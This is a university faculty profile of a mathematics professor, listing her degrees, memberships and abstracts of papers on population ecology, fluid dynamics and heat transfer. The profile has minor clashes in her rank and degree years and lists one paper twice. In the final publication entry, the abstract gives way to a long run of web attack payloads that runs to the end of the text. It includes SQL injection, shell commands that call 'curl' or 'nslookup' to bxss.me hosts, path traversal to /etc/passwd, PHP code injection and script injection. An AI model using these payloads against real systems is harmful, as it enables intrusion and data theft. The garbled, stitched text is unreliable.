Department of Mathematics

Dr. Ishrat Zahan

Associate Professor
Specialization

Population Ecology, Computational Fluid Dynamics, Heat Transfer, Fuzzy Mathematics

Academic Biography

Dr. Ishrat Zahan is an Assistant Professor in the Department of Mathematics at Bangladesh University of Engineering and Technology. She has been a regular faculty of this University since 2012. She received her PhD degree in Mathematics in the field of Population Ecology in 2022 and M. Phil degree in Mathematics in the field of Computational Fluid Dynamics in 2017 from the Bangladesh University of Engineering and Technology. She also achieved her Master of Science and Bachelor of Science degrees in Mathematics from the University of Dhaka, Bangladesh, in 2008 and 2010, respectively. The research interests of Dr. Ishrat Zahan are in Modeling in Mathematical Ecology, Computational Fluid Dynamics, Analysis of Partial Differential Equations, and Fuzzy Mathematics. Specifically, Dr. Ishrat Zahan focuses on establishing theoretical results of rigorous mathematical models and verifying the results by simulating the problems. Fortran, MATLAB, and COMSOL Multiphysics are the computing surfaces to write the programming codes, analyze data, and to develop the algorithm.




Contact
Educational Information
  • Ph.D., Bangladesh University of Engineering and Technology (BUET) , 2022
  • M.Phil, Bangladesh University of Engineering and Technology (BUET), 2017
  • MS in Applied Mathematics, University of Dhaka (DU), 2009
  • B. Sc (Hon's) in Mathematics, University of Dhaka (DU), 2007
  • H.S.C., Jamalpur Govt Ashek Mahmud College, 2002
  • S.S.C., Jamalput Govt Girls' High School, 2000
Research Accounts
Honors And Awards
  • Bangabandhu Science and Technology Fellowship 2020-2021 for Ph. D. Program Ministry of Science and Technology 2020
  • Academic Scholarship University of Dhaka 2009
Professional Memberships
  • Faculty of Science BUET
  • Bangladesh Mathematical Society 742
  • Bangladesh Society for Mathematical Biology LM0018
  • Association of BUET Alumni 20222311012L
  • Association of Bangladeshi Women in Mathematics L 0030
Research Interests
  • Population Ecology
  • Theoretical and Computational Biology
  • Computational Fluid Dynamics
All Publications
Ishrat Zahan, Md. Kamrujjaman
Evolution of dispersal and the analysis of a resource flourished population model with harvesting
Science Direct, 8 May, 2024
Publication Type: Journal
, Publication Link
This study explores a spatially distributed harvesting model that signifies the outcome of the competition of two species in a heterogeneous environment. The model is controlled by reaction-diffusion equations with resource-based diffusion strategies. Two different situations are maintained by the harvesting effects: when the harvesting rates are independent in space and do not exceed the intrinsic growth rate; and when they are proportional to the time-independent intrinsic growth rate. In particular, the competition between both species differs only by their corresponding migration strategy and harvesting intensity. We have computed the main results for the global existence of solutions that represent either coexistence or competitive exclusion of two competing species depending on the harvesting levels and different imposed diffusion strategies. We also established some estimates on harvesting efforts for which coexistence is apparent. Also, some numerical results are exhibited in one and two spatial dimensions, which shed some light on the ecological implementation of the model.
I. Zahan, R. Nasrin, S. Hasan
Numerical Simulation of Heat Transfer Performance of Ionanofluid Flow inside Two Connected Oblique Triangular Enclosure
SSRN, May, 2023
Publication Type: Conference
, Publication Link
Utilizing ionanofluid is one of the best ways to improve the thermal performance of working fluids for storage, energy conversion, and transportation in contemporary thermal systems. It is a group of nano dispersions where ionic liquids create the continuous phase. This article's goal is to examine how various nanofluids perform when the natural convection of long single-walled carbon nanotubes (SWCNTs) nanoparticle occurring in a cavity which is made up of two connected oblique triangles. The cavity has a thin cold wall (Tc) with angular diameter √2m. Both halves of the left and bottom walls are heated and kept at constant temperature (Th). The remaining walls are insulated. The Navier-Stokes equations and energy conservation equation with appropriate boundary conditions are applied for modeling the considered physics and FEM is used to solve it. The heat-transferring mediums are assumed as the ionanofluid of SWCNT and 1-butyl-3-methylimidazolium bis{(trifluoromethyl)sulfonyl}imide ([C4mim][NTf2]) ionic liquid (IL), nanofluid of water-SWCNT and pure water. The effective parameters in a range of Rayleigh number (103 ≤ 𝑅𝑎 ≤ 106 ) and solid concentration (0.1% ≤ 𝜙 ≤ 5%) are considered. The findings show that due to higher thermal conductivity and appealing rheological features of ionanofluid, the heat transfer rate is found significantly higher than nanofluid and pure water. A higher solid concentration of SWCNTs represents greater values of mean Nusselt number. Additionally, fluid velocity and heat transfer rate increase at larger values of Ra
Ishrat Zahan, Md. Kamrujjaman, Md. Abdul Alim, Md. Shahidul Islam, Taufiquar Khan
The evolution of resource distribution, slow diffusion, and dispersal strategies in heterogeneous populations
frontiers, June , 2023
Publication Type: Journal
, Publication Link
Population diffusion in river-ocean ecologies and for wild animals, including birds, mainly depends on the availability of resources and habitats. This study explores the dynamics of the resource-based competition model for two interacting species in order to investigate the spatiotemporal effects in a spatially distributed heterogeneous environment with no-flux boundary conditions. The main focus of this study is on the diffusion strategy, under conditions where the carrying capacity for two competing species is considered to be unequal. The same growth function is associated with both species, but they have different migration coefficients. The stability of global coexistence and quasi-trivial equilibria are also studied under different conditions with respect to resource function and carrying capacity. Furthermore, we investigate the case of competitive exclusion for various linear combinations of resource function and carrying capacity. Additionally, we extend the study to the instance where a higher migration rate negatively impacts population growth in competition. The efficacy of the model in the cases of one- and two-dimensional space is also demonstrated through a numerical study.
Ishrat Zahan, Md. Kamrujjaman, Md. Abdul Alim, Md. Shahidul Islam, Taufiquar Khan
The evolution of resource distribution, slow diffusion, and dispersal strategies in heterogeneous populations
frontiers, 26 June, 2023
Publication Type: Journal
, Publication Link
Population diffusion in river-ocean ecologies and for wild animals, including birds, mainly depends on the availability of resources and habitats. This study explores the dynamics of the resource-based competition model for two interacting species in order to investigate the spatiotemporal effects in a spatially distributed heterogeneous environment with no-flux boundary conditions. The main focus of this study is on the diffusion strategy, under conditions where the carrying capacity for two competing species is considered to be unequal. The same growth function is associated with both species, but they have different migration coefficients. The stability of global coexistence and quasi-trivial equilibria are also studied under different conditions with respect to resource function and carrying capacity. Furthermore, we investigate the case of competitive exclusion for various linear combinations of resource function and carrying capacity. Additionally, we extend the study to the instance where a higher migration rate negatively impacts population growth in competition. The efficacy of the model in the cases of one- and two-dimensional space is also demonstrated through a numerical study.
Ishrat Zahan, Md. Kamrujjaman, Saleh Tanveer
Mathematical Study of a Resource-Based Diffusion Model with Gilpin–Ayala Growth and Harvesting
Springer Nature, 15 September, 2022
Publication Type: Journal
, Publication Link
This paper focuses on a Gilpin–Ayala growth model with spatial diffusion and Neumann boundary condition to study single species population distribution. In our heterogeneous model, we assume that the diffusive spread of population is proportional to the gradient of population per unit resource, rather than the population density itself. We investigate global well-posedness of the mathematical model, determine conditions on harvesting rate for which non-trivial equilibrium states exist and examine their global stability. We also determine conditions on harvesting that leads to species extinction through global stability of the trivial solution. Additionally, for time periodic growth, resource, capacity and harvesting functions, we prove existence of time-periodic states with the same period. We also present numerical results on the nature of nonzero equilibrium states and their dependence on resource and capacity functions as well as on Gilpin–Ayala parameter θ. We conclude enhanced effects of diffusion for small θ which in particular disallows existence of nontrivial states even in some cases when intrinsic growth rate exceeds harvesting at some locations in space for which a logistic model allows for a nonzero equilibrium density.
Ishrat Zahan, Md. Kamrujjaman, Md. Abdul Alim, Muhammad Mohebujjaman, Taufiquar Khan
Dynamics of heterogeneous population due to spatially distributed parameters and an ideal free pair
frontiers, 09 August , 2022
Publication Type: Journal
, Publication Link
Population movements are necessary to survive the individuals in many cases and depend on available resources, good habitat, global warming, climate change, supporting the environment, and many other issues. This study explores the spatiotemporal effect on the dynamics of the reaction-diffusion model for two interacting populations in a heterogeneous habitat. Both species are assumed to compete for different fundamental resources, and the diffusion strategies of both organisms follow the resource-based diffusion toward a positive distribution function for a large variety of growth functions. Depending on the values of spatially distributed interspecific competition coefficients, the study is conducted for two cases: weak competition and strong competition, which do not perform earlier in the existing literature. The stability of global attractors is studied for different conditions of resource function and carrying capacity. We investigated that in the case of weak competition, coexistence is attainable, while strong competition leads to competitive exclusion. This is an emphasis on how resource-based diffusion in the niche impacts selection. When natural resources are in sharing, either competition or predator-prey interaction leads to competitive exclusion or coexistence of competing species. However, we concentrate on the situation in which the ideal free pair is achieved without imposing any other additional conditions on the model’s parameters. The effectiveness of the model is accomplished by numerical computation for both one and two space dimension cases, which is very important for biological consideration
Ishrat Zahan, Md. Kamrujjaman, Md. Abdul Alim
A reaction-advection-diffusion model in spatial ecology: theoretical and computational analysis
Khulna University Studies, 26 September, 2022
Publication Type: Journal
, Publication Link
In a confined heterogeneous habitat with two species interacting for common resources, the research analyzes a reaction-advection-diffusion type dispersal model with homogeneous Neumann boundary conditions for generalized growth functions. Both species follow the same symmetric growths law, but their dispersal strategies and advection rates are different. The following pattern is used to consider the competition strategy: in a bounded heterogeneous habitat, the first population disperses according to its resource functions, whereas the second population disperses according to its carrying capacity. We investigate the model in two scenarios: when carrying capacity and resource functions are non-proportional, competitive exclusion occurs, and one species drives the other to extinction in the long run for various similar and unequal carrying capacities of competing species. However, coexistence is achievable for different resource distribution consumption if the resource distribution and the carrying capacity phase of the second species are non-constant and similar. A series of numerical computations are used to demonstrate the model’s efficacy in oneand two-dimensional instances, which is particularly significant for environmental considera
I. Zahan, R. Nasrin, Shatay Khatun
Thermal performance of ternary-hybrid nanofluids through a convergent-divergent nozzle using distilled water - ethylene glycol mixtures
Elsevier, 12 July, 2022
Publication Type: Journal
, Publication Link
A computational analysis is conducted based on ternary-nanoparticles performance for base fluid mixture through a convergent-divergent (CD) nozzle. Since the thermal phenomena through a CD nozzle exposes many attention-grabbing performances, it deserves additional investigation for laminar flow characteristics. Using ternary-nanoparticles at different base fluid mixture makes the study more robust and interesting to analyze the real situation better. In this study, the properties of cobalt (Co), silver (Ag), and zinc (Zn) nanoparticles along with base fluid mixtures of distilled-water (DW) and ethylene glycol (EG) as (100:0), (60:40), (50:50), and (0:100), are employed. A wide range of inlet velocity, solid concentrations, nanoparticle size and magnitude of nanoparticle shape factor is considered in this research. The mixtures of nanoparticles are considered as a ratio of (0:1/2:1/2), (1/2:0:1/2), (1/2:1/2:0), (1/6:1/6:2/3), (1/6:2/3:1/6), (2/3:1/6:1/6) and (1/3:1/3:1/3). The mathematical model is formulated using Navier-Stokes equations, energy conservation with proper boundary conditions, and solved using finite element method. Among the considered base fluid mixtures, the highest heat transfer rate is obtained for EG-Co-Ag-Zn nanofluid. A relatively higher heat transfer rate is found for all base fluid mixtures with nanoparticles ratio (1/6:2/3:1/6) compared to other combinations. Furthermore, advanced rate of thermal transport is found using laminar shape nanoparticles.
R. Nasrin, S. A. Sweety, I. Zahan
Turbulent Nanofluid Flow Analysis Passing a Shell and Tube Thermal Exchanger with Kays-Crawford Model
American Scientific Publishers, December, 2021
Publication Type: Journal
, Publication Link
Temperature dissipation in a proficient mode has turned into a crucial challenge in industrial sectors because of worldwide energy crisis. In heat transfer analysis, shell and tube thermal exchangers is one of the mostly used strategies to control competent heat transfer in industrial progression applications. In this research, a numerical analysis of turbulent flow has been conceded in a shell and tube thermal exchanger using Kays-Crawford model to investigate the thermal performance of pure water and different concentrated water-MWCNT nanofluid. By means of finite element method the Reynold-Averaged Navier-Stokes (RANS) and heat transport equations along with suitable edge conditions have been worked out numerically. The implications of velocity, solid concentration, and temperature of water-MWCNT nanofluid on the fluid flow formation and heat transfer scheme have been inspected thoroughly. The numerical results indicate that the variation of nanoparticles solid volume fraction, inflow fluid velocity and inlet temperature mannerism considerably revolutionize in the flow and thermal completions. It is perceived that using 3% concentrated water-MWCNT nanofluid, higher rate of heat transfer 12.24% is achieved compared that of water and therefore to enhance the efficiency of this heat exchanger. Furthermore, a new correlation has been developed among obtained values of thermal diffusion rate, Reynolds number and volume concentration of nanoparticle and found very good correlation coefficient among the values.
I. Zahan, R. Nasrin
An Introduction to Fuzzy Topological Spaces
Scientific Research Publishing Inc, 25 May, 2021
Publication Type: Journal
, Publication Link
Topology has enormous applications on fuzzy set. An attention can be brought to the mathematicians about these topological applications on fuzzy set by this article. In this research, first we have classified the fuzzy sets and topological spaces, and then we have made relation between elements of them. For expediency, with mathematical view few basic definitions about crisp set and fuzzy set have been recalled. Then we have discussed about topological spaces. Finally, in the last section, the fuzzy topological spaces which is our main object we have developed the relation between fuzzy sets and topological spaces. Moreover, this article has been concluded with the examination of some of its properties and certain relationships among the closure of these spaces.
Rehena Nasrin, Saddam Hossain, Ishrat Zahan, Khandker Farid Uddin Ahmed , Hussain Fayaz
Performance analysis of hybrid/single nanofluids on augmentation of heat transport in lid-driven undulated cavity
Wiley, 24 June, 2020
Publication Type: Journal
, Publication Link
This numerical study reveals the heat transfer performance of hybrid/single nanofluids inside a lid-driven sinusoidal trapezoidal-shaped enclosure. The right and left inclined surfaces of the trapezium have been considered as insulated, whereas the bottom sinusoidal wavy and the flat top surfaces of the enclosure as hot and cold, respectively. The governing partial differential equations of fluid's velocity and temperature have been resolved by applying the finite element method. The implications of Prandtl number (4.2-6.2), Richardson number (0.1-10.0), undulation number (0-3), nanoparticles volume fraction (0%-3%), and nanofluid/base fluid (water, water–copper (Cu), water–Cu–carbon nanotube, water–Cu–copper oxide (CuO), water–Cu–TiO2, and water–Cu–Al2O3) on the velocity and temperature profiles have been studied. Simulated findings have been represented by means of streamlines, isothermal lines, and average Nusselt number of above-mentioned hybrid nanofluids for varying the governing parameters. The comparison of heat transfer rates using hybrid nanofluids and pure water has been also shown. The heat transfer rate is increased about 15% for varying Richardson number from 0.1 to 10.0. Blending of two nanoparticles suspension in base fluid has a higher heat transfer rate—approximately 5% than a mononanoparticle. Moreover, a higher average Nusselt number is obtained by 14.7% using the wavy surface than the flat surface of the enclosure. Thus, this study showed that applying hybrid nanofluid may be beneficial to obtain expected thermal performance.
R. Nasrin, Amzad Hossain, I. Zahan
Blood Flow Analysis Inside A Stenotic Artery Using Power-Law Fluid Model
Crimson Publishers, 03 April, 2020
Publication Type: Journal
, Publication Link
This paper is devoted to study numerically a recent development of a non-Newtonian blood flow model for a stenosed artery in human blood vessel. For numerical investigation the blood flow modeling method of this research begins with non-Newtonian power-law model. The governing system of equation based on incompressible Navier-Stokes equations with externally imposed magnetic resonance has been generalized to take into account the mechanical properties of blood. The intent of this research is to examine the effects of inlet velocity and imposed magnetic field on the blood flow throughout the artery. The Galerkin’s weighted residual method of finite element system has been employed to resolve the governing system of equation with proper boundary conditions. The numerical simulation has been conducted for various inlet velocities from 0.005 to 0.1m/s and magnetic field strength from 0 to 6 tesla with superior convergence of the iterative structure. Results have been shown in terms of velocity, surface plot of velocity, pressure and viscosity contours. Cross-sectional plots of velocity and viscosity magnitudes across the stenotic contraction have also been displayed graphically. Obtained results of the blood flow simulations indicate that viscosity increases due to increasing values of inlet velocity of blood and magnetic strength.
Ishrat Zahan, R. Nasrin, M.A. Alim
Mixed convective hybrid nanofluid flow in lid-driven undulated cavity: effect of MHD and Joule heating
BanglaJOL, 31 December, 2019
Publication Type: Journal
, Publication Link
A numerical analysis has been conducted to show the effects of magnetohydrodynamic (MHD) and Joule heating on heat transfer phenomenon in a lid driven triangular cavity. The heat transfer fluid (HTF) has been considered as water based hybrid nanofluid composed of equal quantities of Cu and TiO2 nanoparticles. The bottom wall of the cavity is undulated in sinusoidal pattern and cooled isothermally. The left vertical wall of the cavity is heated while the inclined side is insulated. The two dimensional governing partial differential equations of heat transfer and fluid flow with appropriate boundary conditions have been solved by using Galerkin's finite element method built in COMSOL Multyphysics. The effects of Hartmann number, Joule heating, number of undulation and Richardson number on the flow structure and heat transfer characteristics have been studied in details. The values of Prandtl number and solid volume fraction of hybrid nanoparticles have been considered as fixed. Also, the code validation has been shown. The numerical results have been presented in terms of streamlines, isotherms and average Nusselt number of the hybrid nanofluid for different values of governing parameters. The comparison of heat transfer rate by using hybrid nanofluid, Cu-water nanofluid, TiO2 -water nanofluid and clear water has been also shown. Increasing wave number from 0 to 3 enhances the heat transfer rate by 16.89%. The enhanced rate of mean Nusselt number for hybrid nanofluid is found as 4.11% compared to base fluid.
Ishrat Zahan, R. Nasrin, M.A. Alim
Hybrid nanofluid flow in combined convective lid-driven sinusoidal triangular enclosure
AIP Publishing, 18 July, 2019
Publication Type: Conference
, Publication Link
A numerical analysis has been carried out on combined magnetoconvection in a lid driven triangular enclosure with sinusoidal wavy bottom surface filled with hybrid nanofluid composed of equal quantities of Cu and Al2O3 nanoparticles dispersed in water-based fluid. The enclosure left vertical wall is heated while the inclined side of the cavity is cooled isothermally and the bottom wavy wall is insulated. A heat conducting horizontal circular cylinder has been placed at the middle of the enclosure. In this research, the relevant governing equations have been solved by using finite element method of Galerkin weighted residual approach. The implication of Richardson number and solid volume fraction of nanoparticles on the flow structure and heat transfer characteristics has been performed in details while the Reynolds number, Hartmann number and Prandtl number considered as fixed. Results have been presented in terms of streamlines, isotherms and average Nusselt number of the hybrid nanofluid for different values of governing parameters. The numerical results indicate that the Richardson number have significance effect on the flow and heat transfer performance. Moreover, it is noticed that combination of two different nanoparticles suspension has a better performance of heat transfer.
Ishrat Zahan, R. Nasrin, Md. Abdul Alim
MHD effect on conjugate heat transfer in a nanofluid filled rectangular enclosure
MedCrave, January, 2018
Publication Type: Journal
, Publication Link
In the present research a numerical solution has been carried out to investigate the problem of magnetohydrodynamics (MHD) conjugate natural convection flow in a rectangular enclosure filled with copper water nanofluid. The relevant governing equations have been solved numerically by using finite element method of Galerkin weighted residual approach. The investigation uses a two dimensional rectangular enclosure with heat conducting vertical wall and uniform heat flux. The effect of Hartmann number on the parameter Rayleigh number, divider position and solid volume fraction of nano particles on the flow and temperature fields are examined for the range of Hartmann number (Ha) of 0 to 60. Parametric studies of the fluid flow and heat transfer performance of the enclosure for the pertinent parameters have also been performed. The numerical results have been provided in graphical form of streamlines and isotherms for various dimensionless parameters. It is found that the heat transfer rate increases with an increase of Rayleigh number and divider position but it decreases with an increase of the Hartmann number. It is also obtained that an increase of the solid volume fraction enhances the heat transfer performance. Finally, the implications of the above parameters have been depicted on the average Nusselt number of the fluid.
Ishrat Zahan, M.A. Alim
Effect of Conjugate Heat Transfer on Flow of Nanofluid in a Rectangular Enclosure
IIETA, June, 2018
Publication Type: Journal
, Publication Link
An elaborate numerical study of developing a model regarding conjugate effect of fluid flow and heat transfer in a heat conducting vertical walled cavity filled with copper-water nanofluid has been presented in this paper. This model is mainly adopted for a cooling of electronic device and to control the fluid flow and heat transfer mechanism in an enclosure. The numerical results have been provided in graphical form showing effect of various relevant non-dimensional parameters. The relevant governing equations have been solved by using finite element method of Galerkin weighted residual approach. The analysis uses a two dimensional rectangular enclosure under conjugate convective conductive heat transfer conditions. The enclosure exposed to a constant and uniform heat flux at the left vertical thick wall generating a natural convection flow. The thicknesses of the remaining parts of the walls are assumed to be zero. The right wall is kept at a low constant temperature, while the horizontal walls are assumed to be adiabatic. A moveable divider is attached at the bottom wall of the cavity. The governing equations are derived for the conceptual model in the Cartesian coordinate system. The study has been carried out for the Rayleigh number Ra =106 and for the solid volume fraction. The investigation is to be arrived out at different non-dimensional governing parameters. The effect of convective heat transfer coefficient, divider position and thickness of solid wall on the hydrodynamic and thermal characteristic of flow has been analyzed. Results are to be presented in terms of streamlines, isotherms and average Nusselt number of the nanofluid for different values of governing parameters.
Ishrat Zahan, M.A. Alim
Effects of Rayleigh number and Wall Conductivity on Conjugate Natural Convection of Nanofluid in a Heat Conducting Rectangular Vertical Walled Enclosure
AIP Publishing, July, 2018
Publication Type: Conference
, Publication Link
The objective of this study is to numerically simulate the effect of conjugate heat transfer in a heat conducting vertical walled cavity filled with Copper-Water nanofluid. The analysis uses a two-dimensional rectangular enclosure under conjugate convective-conductive heat transfer conditions. The enclosure was subject to a constant conduction-convection uniform heat flux at the left wall generating a natural convection flow. The thicknesses of the other boundaries of the wall are assumed to be zero. The right wall is kept at a low constant temperature while the horizontal walls are assumed to be adiabatic. A heat conducting moveable divider is attached on the bottom horizontal wall. The study has been carried out for the Rayleigh number in the range of 104 ≤ Ra ≤ 106 and for the solid volume fraction 0 ≤ ɸ ≤ 0.05. The investigation is to be arrived out at different non-dimensional governing parameters. The effect of Rayleigh number and solid fluid thermal conductivity ratio on the hydrodynamic and thermal characteristic of flow has been analyzed. Results are to be presented in terms of streamlines, isotherms and average Nusselt number of the nanofluid for different values of governing parameters.
Ishrat Zahan, M.A. Samad
Radiative Heat and Mass Transfer of an MHD Free Convection Flow Along a Stretching Sheet with Chemical Reaction, Heat Generation and Viscous Dissipation
BanglaJOL, January, 2013
Publication Type: Journal
, Publication Link
RDFYjolf, RDFYjolf, RDFYjolf, 1sa7CdvB2O, RDFYjolf, RDFYjolf, RDFYjolf, ), '.gethostbyname(lc('hittz'.'euscbvfrcd582.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(74).chr(116).chr(85).', !(()&&!|*|*|, RDFYjolf, ".gethostbyname(lc("hitzp"."ametlgsbf78a1.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(86).chr(101).chr(85).", ^(#$!@#$)(()))******, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf&n948547=v982444, ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));, ';print(md5(31337));$a=', ";print(md5(31337));$a=", NdEb8OGB, ${@print(md5(31337))}, RDFYjolf, ${@print(md5(31337))}\, /../../../../../../../../../../windows/system32/BITSADMIN.exe, '.print(md5(31337)).', '"(), RDFYjolf'&&sleep(27*1000)*bsimcn&&', RDFYjolf, RDFYjolf"&&sleep(27*1000)*cbptcf&&", RDFYjolf, RDFYjolf'||sleep(27*1000)*undsnh||', RDFYjolf"||sleep(27*1000)*csqszf||", RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, ../../../../../../../../../../../../../../etc/passwd, RDFYjolf, ../../../../../../../../../../../../../../windows/win.ini, RDFYjolf, file:///etc/passwd, RDFYjolf, ../RDFYjolf, RDFYjolf, 12345'"\'\");|]*{ <>�''💡, RDFYjolf, RDFYjolf, echo vqwguq$()\ qpxodf\nz^xyu||a #' &echo vqwguq$()\ qpxodf\nz^xyu||a #|" &echo vqwguq$()\ qpxodf\nz^xyu||a #, RDFYjolf, &echo ijpxtl$()\ reegxp\nz^xyu||a #' &echo ijpxtl$()\ reegxp\nz^xyu||a #|" &echo ijpxtl$()\ reegxp\nz^xyu||a #, RDFYjolf&echo wydzce$()\ hfiwyq\nz^xyu||a #' &echo wydzce$()\ hfiwyq\nz^xyu||a #|" &echo wydzce$()\ hfiwyq\nz^xyu||a #, RDFYjolf, |echo tqfunz$()\ gatfsg\nz^xyu||a #' |echo tqfunz$()\ gatfsg\nz^xyu||a #|" |echo tqfunz$()\ gatfsg\nz^xyu||a #, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf|echo bdvdiu$()\ swpped\nz^xyu||a #' |echo bdvdiu$()\ swpped\nz^xyu||a #|" |echo bdvdiu$()\ swpped\nz^xyu||a #, ${9999239+9999286}, RDFYjolfxZrke4xq, (nslookup -q=cname hitohwerpfmeg667c3.bxss.me||curl hitohwerpfmeg667c3.bxss.me)), RDFYjolf, $(nslookup -q=cname hitsefhhtpckj06762.bxss.me||curl hitsefhhtpckj06762.bxss.me), -1 OR 2+589-589-1=0+0+0+1 -- , &nslookup -q=cname hitmfcfnebozef1810.bxss.me&'\"`0&nslookup -q=cname hitmfcfnebozef1810.bxss.me&`', QlNsV1BaUnY=, -1 OR 2+939-939-1=0+0+0+1, |(nslookup -q=cname hitemluxjnvxzb1419.bxss.me||curl hitemluxjnvxzb1419.bxss.me), -1' OR 2+158-158-1=0+0+0+1 -- , `(nslookup -q=cname hitobuzoapjikdb7b8.bxss.me||curl hitobuzoapjikdb7b8.bxss.me)`, -1' OR 2+595-595-1=0+0+0+1 or '8P0pSoWN'=', -1" OR 2+452-452-1=0+0+0+1 -- , if(now()=sysdate(),sleep(15),0), HttP://bxss.me/t/xss.html?%00, response.write(9662840*9409945), RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, bxss.me/t/xss.html?%00, '+response.write(9662840*9409945)+', RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, "+response.write(9662840*9409945)+", (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, RDFYjolf-1; waitfor delay '0:0:15' -- , RDFYjolf-1); waitfor delay '0:0:15' -- , RDFYjolf-1 waitfor delay '0:0:15' -- , http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg, RDFYjolfa4wNtiFx'; waitfor delay '0:0:15' -- , 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg, RDFYjolfuNYfDrLA'); waitfor delay '0:0:15' -- , Http://bxss.me/t/fit.txt, RDFYjolfuStLfD1b')); waitfor delay '0:0:15' -- , http://bxss.me/t/fit.txt?.jpg, RDFYjolf9iCY4418' OR 141=(SELECT 141 FROM PG_SLEEP(15))--, /etc/shells, RDFYjolfxXlH1aZs') OR 84=(SELECT 84 FROM PG_SLEEP(15))--, c:/windows/win.ini, RDFYjolfKT7vmmOC')) OR 524=(SELECT 524 FROM PG_SLEEP(15))--, bxss.me, RDFYjolf'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', RDFYjolf'", RDFYjolf����%2527%2522\'\", 80405, @@M9gpc, 80405, RDFYjolf, 80405/., ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))), RDFYjolf, RDFYjolf, RDFYjolf, '", RDFYjolf, RDFYjolf9527000, RDFYjolf, bfg5107＜s1﹥s2ʺs3ʹhjl5107, ), !(()&&!|*|*|, bfgx6284��z1��z2a�bcxhjl6284, ^(#$!@#$)(()))******, <%={{={@{#{${dfb}}%>, RDFYjolf, RDFYjolf, RDFYjolf, '"(), 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>, RDFYjolf'&&sleep(27*1000)*fvzmei&&', RDFYjolf, RDFYjolf"&&sleep(27*1000)*yhjhfs&&", '.gethostbyname(lc('hitsa'.'huoqnycje3005.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(67).chr(109).chr(70).', RDFYjolf'||sleep(27*1000)*qcwiai||', ".gethostbyname(lc("hitma"."bqvxvqknb56ba.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(74).chr(119).chr(79).", dfb{{98991*97996}}xca, RDFYjolf"||sleep(27*1000)*nbclgx||", dfb[[${98991*97996}]]xca, RDFYjolf, dfb__${98991*97996}__::.x, "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o"), RDFYjolf, ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));, ';print(md5(31337));$a=', ";print(md5(31337));$a=", RDFYjolf, ${@print(md5(31337))}, ${@print(md5(31337))}\, '.print(md5(31337)).', RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf, RDFYjolf&n997660=v938104, RDFYjolfto7PIOeG, %52%44%46%59%6A%6F%6C%66%3C%53%63%52%69%50%74%20%3E%4B%72%32%61%289745%29%3C%2F%73%43%72%69%70%54%3E, RDFYjolf, RDFYjolf\u003CScRiPt\Kr2a(9019)\u003C/sCripT\u003E, -1 OR 2+426-426-1=0+0+0+1 -- , -1 OR 2+869-869-1=0+0+0+1, RDFYjolf&lt;ScRiPt&gt;Kr2a(9125)&lt;/sCripT&gt;, xlZwVThk, -1' OR 2+360-360-1=0+0+0+1 -- , -1' OR 2+973-973-1=0+0+0+1 or 'GDYh1Lyp'=', -1" OR 2+981-981-1=0+0+0+1 -- , if(now()=sysdate(),sleep(15),0), /../../../../../../../../../../windows/system32/BITSADMIN.exe, RDFYjolf0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, RDFYjolf}body{zzz:Expre/**/SSion(Kr2a(9536))}, RDFYjolf0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, RDFYjolf, RDFYjolf-1; waitfor delay '0:0:15' -- , ../../../../../../../../../../../../../../etc/passwd, RDFYjolf-1); waitfor delay '0:0:15' -- , ../../../../../../../../../../../../../../windows/win.ini, echo forgrn$()\ zgcclh\nz^xyu||a #' &echo forgrn$()\ zgcclh\nz^xyu||a #|" &echo forgrn$()\ zgcclh\nz^xyu||a #, file:///etc/passwd, &echo hhbkic$()\ exmjjk\nz^xyu||a #' &echo hhbkic$()\ exmjjk\nz^xyu||a #|" &echo hhbkic$()\ exmjjk\nz^xyu||a #, RDFYjolf-1 waitfor delay '0:0:15' -- , RDFYjolf, ../RDFYjolf, RDFYjolf&echo qpatpo$()\ dlccxe\nz^xyu||a #' &echo qpatpo$()\ dlccxe\nz^xyu||a #|" &echo qpatpo$()\ dlccxe\nz^xyu||a #, RDFYjolf8hVeYhBB'; waitfor delay '0:0:15' -- , |echo jkpjts$()\ spxmeu\nz^xyu||a #' |echo jkpjts$()\ spxmeu\nz^xyu||a #|" |echo jkpjts$()\ spxmeu\nz^xyu||a #, RDFYjolf|echo stqifc$()\ jboqbp\nz^xyu||a #' |echo stqifc$()\ jboqbp\nz^xyu||a #|" |echo stqifc$()\ jboqbp\nz^xyu||a #, RDFYjolf0uQjLKYU'); waitfor delay '0:0:15' -- , RDFYjolf, (nslookup -q=cname hitxcpewkhkxz97ccb.bxss.me||curl hitxcpewkhkxz97ccb.bxss.me)), RDFYjolf, $(nslookup -q=cname hitcbndcszosia350e.bxss.me||curl hitcbndcszosia350e.bxss.me), RDFYjolfy5lIZIm1')); waitfor delay '0:0:15' -- , &nslookup -q=cname hitjhatoiijmkcb076.bxss.me&'\"`0&nslookup -q=cname hitjhatoiijmkcb076.bxss.me&`', RDFYjolf, |(nslookup -q=cname hitmrwpcnrhuy3a51a.bxss.me||curl hitmrwpcnrhuy3a51a.bxss.me), RDFYjolfpaIb0ogB' OR 979=(SELECT 979 FROM PG_SLEEP(15))--, `(nslookup -q=cname hitlncwxxqexm6d388.bxss.me||curl hitlncwxxqexm6d388.bxss.me)`, RDFYjolf, RDFYjolfqd4O3afl') OR 